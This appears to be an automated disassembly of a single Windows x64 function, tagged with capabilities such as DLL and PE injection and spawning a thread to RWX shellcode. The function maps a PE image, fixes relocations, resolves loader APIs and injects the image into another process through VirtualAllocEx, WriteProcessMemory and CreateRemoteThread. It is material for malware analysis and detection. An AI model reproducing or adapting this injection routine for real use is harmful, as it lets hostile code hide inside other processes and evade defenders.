Function at 0x140001494
Capabilities:
Allocate or change rwx memory
Create thread
Inject dll
Inject pe
Inject thread
Spawn thread to rwx shellcode

Disassembly:
mov qword [rsp + 0x20], r9
mov qword [rsp + 8], rcx
push rbx
push rbp
push rsi
push rdi
push r12
push r13
push r14
push r15
sub rsp, 0x48
mov r13d, dword [r9 + 4]
movsxd rbx, dword [rdx + 0x3c]
mov r12, rdx
add rbx, rdx
add r13d, 0x20
mov r9d, 4
lea rdi, [rbx + 0x18]
mov r8d, 0x3000
xor ecx, ecx
mov esi, dword [rdi + 0x38]
add r13d, esi
mov dword [rsp + 0xa0], esi
mov edx, r13d
mov qword [rsp + 0x98], r13
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r14, rax
test rax, rax
je 0x140001752
mov r8d, 0x40
mov rdx, r12
mov rcx, rax
call fcn.1400018e0
movsxd rbp, dword [r14 + 0x3c]
movzx r8d, word [rbx + 0x14]
add rbp, r14
mov rdx, rbx
mov rcx, rbp
call fcn.1400018e0
movzx r15d, word [rbx + 0x14]
movzx eax, word [rbp + 0x14]
add r15, rdi
movzx edi, word [rbx + 6]
lea rbx, [rbp + 0x18]
add rbx, rax
test edi, edi
je 0x140001597
mov rsi, r15
mov r13d, edi
sub rsi, rbx
lea rdx, [rsi + rbx]
mov r8d, 0x28
mov rcx, rbx
call fcn.1400018e0
add rbx, 0x28
dec r13
jne 0x140001548
mov r13, qword [rsp + 0x98]
mov esi, dword [rsp + 0xa0]
test edi, edi
je 0x140001597
lea rbx, [r15 + 0x14]
mov edx, dword [rbx]
mov ecx, dword [rbx - 8]
mov r8d, dword [rbx - 4]
add rdx, r12
add rcx, r14
call fcn.1400018e0
lea rbx, [rbx + 0x28]
dec rdi
jne 0x14000157a
lea rcx, str.KERNEL32
add rsi, r14
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
lea rdx, [0x1400020a0]
mov rcx, rax
mov rbx, rax
mov qword [rsi], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rdx, str.LoadLibraryA
mov rcx, rbx
mov qword [rsi + 0x10], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, qword [rsp + 0xa8]
mov qword [rsi + 8], rax
lea eax, [rsi + 0x20]
sub eax, esi
mov dword [rsi + 0x18], eax
mov eax, dword [rcx + 4]
mov dword [rsi + 0x1c], eax
mov edx, dword [rcx]
mov r8d, dword [rcx + 4]
add rdx, rcx
lea rcx, [rsi + 0x20]
call fcn.1400018e0
mov rsi, qword [rsp + 0x90]
mov r9d, 0x3000
mov r8, r13
xor edx, edx
mov rcx, rsi
mov dword [rsp + 0x20], 0x40
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
xor r15d, r15d
mov rbx, rax
test rax, rax
je 0x140001741
mov ecx, dword [rbp + 0xb0]
test ecx, ecx
je 0x1400016b8
mov r8d, dword [rbp + 0xb4]
test r8d, r8d
je 0x1400016b8
mov r9, rax
lea rdx, [r14 + rcx]
sub r9, qword [rbp + 0x30]
mov eax, edx
sub eax, ecx
sub eax, r14d
cmp eax, r8d
jae 0x1400016b8
mov eax, dword [rdx + 4]
lea r8, [rdx + 8]
sub eax, 8
shr eax, 1
je 0x14000169f
mov r10d, eax
movzx eax, word [r8]
mov ecx, 0xf000
and ax, cx
mov ecx, 0xa000
cmp ax, cx
jne 0x140001696
movzx eax, word [r8]
mov ecx, dword [rdx]
and eax, 0xfff
add rax, r14
add qword [rcx + rax], r9
add r8, 2
dec r10
jne 0x14000166e
mov eax, dword [rdx + 4]
add rdx, rax
mov eax, edx
sub eax, dword [rbp + 0xb0]
sub eax, r14d
cmp eax, dword [rbp + 0xb4]
jb 0x14000165d
mov eax, dword [rbp + 0x88]
test eax, eax
je 0x140001741
cmp dword [rbp + 0x8c], r15d
je 0x140001741
mov ecx, eax
movzx eax, word [rsp + 0xb0]
mov r9, r13
sub eax, dword [rcx + r14 + 0x10]
mov ecx, dword [rcx + r14 + 0x1c]
mov r8, r14
add rcx, r14
mov rdx, rbx
mov edi, dword [rcx + rax*4]
lea rax, [rsp + 0xa8]
mov rcx, rsi
mov qword [rsp + 0x20], rax
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
je 0x140001741
cmp qword [rsp + 0xa8], r13
jne 0x140001741
mov qword [rsp + 0x30], r15
lea r9, [rbx + rdi]
xor r8d, r8d
xor edx, edx
mov rcx, rsi
mov dword [rsp + 0x28], r15d
mov qword [rsp + 0x20], rbx
call qword [sym.imp.KERNEL32.dll_CreateRemoteThread]
test rax, rax
je 0x140001741
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xor edx, edx
mov r8d, 0x8000
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_VirtualFree]
mov eax, 1
add rsp, 0x48
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
pop rbx
ret